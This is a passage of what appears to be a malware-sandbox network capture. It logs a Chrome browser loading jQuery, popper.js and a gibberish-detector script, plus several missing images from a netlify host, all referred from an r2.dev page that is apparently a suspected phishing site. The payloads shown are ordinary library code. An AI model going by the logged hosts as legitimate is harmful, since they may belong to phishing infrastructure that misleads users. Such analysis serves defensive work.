2024-09-28 22:59:00 UTC	1369	IN	Data Raw: 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 68 69 73 2c 73 74 79 6c 65 73 3a 7b 7d 2c 61 72 72 6f 77 53 74 79 6c 65 73 3a 7b Data Ascii: eprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:this,styles:{},arrowStyles:{
2024-09-28 22:59:00 UTC	1369	IN	Data Raw: 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 2c 72 7c 7c 48 28 6e 28 70 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2c 74 2c Data Ascii: .popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0}),r\|\|H(n(p.parentNode),t,
2024-09-28 22:59:00 UTC	1369	IN	Data Raw: 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 6e 64 27 3d 3d 3d 65 3f 27 73 74 61 72 74 27 3a 27 73 74 61 72 74 27 3d 3d 3d 65 Data Ascii: on(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'end'===e?'start':'start'===e
2024-09-28 22:59:00 UTC	1369	IN	Data Raw: 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 29 7b 76 61 72 20 6f 2c 69 3d 74 2e 6f 66 66 73 65 74 2c 6e 3d 65 2e 70 6c 61 Data Ascii: ,'-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e,t){var o,i=t.offset,n=e.pla
2024-09-28 22:59:00 UTC	1369	IN	Data Raw: 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 Data Ascii: ),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)Object.prototype.hasOwnPrope

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49734	185.199.109.153	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:01 UTC	585	OUT	GET /gibberish-detector.js/gibberish.min.js HTTP/1.1 Host: gtomitsuka.github.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:01 UTC	700	IN	HTTP/1.1 200 OK Connection: close Content-Length: 928 Server: GitHub.com Content-Type: application/javascript; charset=utf-8 permissions-policy: interest-cohort=() Last-Modified: Sun, 28 Jul 2019 00:43:06 GMT Access-Control-Allow-Origin: * ETag: "5d3cef9a-3a0" expires: Sat, 28 Sep 2024 23:09:01 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: FD25:946D5:253C7CE:29B609A:66F88A34 Accept-Ranges: bytes Age: 0 Date: Sat, 28 Sep 2024 22:59:01 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740044-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1727564342.506804,VS0,VE14 Vary: Accept-Encoding X-Fastly-Request-ID: e6ba34e32b37c58c9c088d1ec55d95b761c89399
2024-09-28 22:59:01 UTC	928	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 68 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 63 2c 62 2c 61 29 7b 72 65 74 75 72 6e 20 63 3c 62 3f 28 61 3d 62 2d 63 2c 4d 61 74 68 2e 6c 6f 67 28 62 29 2f 4d 61 74 68 2e 6c 6f 67 28 61 29 2a 31 30 30 29 3a 63 3e 61 3f 28 62 3d 63 2d 61 2c 4d 61 74 68 2e 6c 6f 67 28 31 30 30 2d 61 29 2f 4d 61 74 68 2e 6c 6f 67 28 62 29 2a 31 30 30 29 3a 30 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 63 29 7b 66 6f 72 28 76 61 72 20 62 3d 7b 7d 2c 61 3d 22 22 2c 64 3d 30 3b 64 3c 63 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 63 5b 64 5d 69 6e 20 62 7c 7c 28 62 5b 63 5b 64 5d 5d 3d 31 2c 61 2b 3d 63 5b 64 5d 29 3b 72 65 74 75 72 6e 20 61 7d 68 2e 64 65 74 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 69 66 28 30 3d 3d 3d 63 2e 6c 65 6e 67 74 68 7c 7c 21 63 2e Data Ascii: (function(h){function e(c,b,a){return c<b?(a=b-c,Math.log(b)/Math.log(a)100):c>a?(b=c-a,Math.log(100-a)/Math.log(b)100):0}function k(c){for(var b={},a="",d=0;d<c.length;++d)c[d]in b\|\|(b[c[d]]=1,a+=c[d]);return a}h.detect=function(c){if(0===c.length\|\|!c.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49727	35.156.224.161	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:01 UTC	619	OUT	GET /icon.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:02 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sat, 28 Sep 2024 22:59:01 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XDQREE6H0508M5XKG47SNR Content-Length: 50 Connection: close
2024-09-28 22:59:02 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 44 51 52 45 45 36 48 30 35 30 38 4d 35 58 4b 47 34 37 53 4e 52 Data Ascii: Not Found - Request ID: 01J8XDQREE6H0508M5XKG47SNR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49728	35.156.224.161	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:01 UTC	619	OUT	GET /logo.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:02 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sat, 28 Sep 2024 22:59:01 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XDQREEWA2ZE7E40XGE3N1Y Content-Length: 50 Connection: close
2024-09-28 22:59:02 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 44 51 52 45 45 57 41 32 5a 45 37 45 34 30 58 47 45 33 4e 31 59 Data Ascii: Not Found - Request ID: 01J8XDQREEWA2ZE7E40XGE3N1Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49731	35.156.224.161	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:01 UTC	622	OUT	GET /confirm.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:02 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sat, 28 Sep 2024 22:59:01 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XDQRHHJHWM290DV4CPQTFE Content-Length: 50 Connection: close
2024-09-28 22:59:02 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 44 51 52 48 48 4a 48 57 4d 32 39 30 44 56 34 43 50 51 54 46 45 Data Ascii: Not Found - Request ID: 01J8XDQRHHJHWM290DV4CPQTFE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49730	35.156.224.161	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:01 UTC	619	OUT	GET /full.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:02 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sat, 28 Sep 2024 22:59:01 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XDQRJ0S6VJQV7GVK3BVQHH Content-Length: 50 Connection: close
2024-09-28 22:59:02 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 44 51 52 4a 30 53 36 56 4a 51 56 37 47 56 4b 33 42 56 51 48 48 Data Ascii: Not Found - Request ID: 01J8XDQRJ0S6VJQV7GVK3BVQHH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49732	35.156.224.161	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:01 UTC	624	OUT	GET /eye-close.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:02 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sat, 28 Sep 2024 22:59:01 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XDQRJBDK2QXRY15XRK844M Content-Length: 50 Connection: close
2024-09-28 22:59:02 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 44 51 52 4a 42 44 4b 32 51 58 52 59 31 35 58 52 4b 38 34 34 4d Data Ascii: Not Found - Request ID: 01J8XDQRJBDK2QXRY15XRK844M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49733	35.156.224.161	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:01 UTC	619	OUT	GET /tada.png HTTP/1.1 Host: bestfilltype.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:02 UTC	313	IN	HTTP/1.1 404 Not Found Cache-Control: private, max-age=0 Content-Type: text/plain; charset=utf-8 Date: Sat, 28 Sep 2024 22:59:01 GMT Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01J8XDQRJHYC6WZV3ADHHC2M2T Content-Length: 50 Connection: close
2024-09-28 22:59:02 UTC	50	IN	Data Raw: 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 52 65 71 75 65 73 74 20 49 44 3a 20 30 31 4a 38 58 44 51 52 4a 48 59 43 36 57 5a 56 33 41 44 48 48 43 32 4d 32 54 Data Ascii: Not Found - Request ID: 01J8XDQRJHYC6WZV3ADHHC2M2T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49741	151.101.2.137	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:02 UTC	358	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 22:59:02 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sat, 28 Sep 2024 22:59:02 GMT Age: 1683726 X-Served-By: cache-lga21947-LGA, cache-ewr-kewr1740045-EWR X-Cache: HIT, HIT X-Cache-Hits: 4188, 5 X-Timer: S1727564343.932849,VS0,VE0 Vary: Accept-Encoding
2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2024-09-28 22:59:03 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49739	104.17.24.14	443	3792	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 22:59:02 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
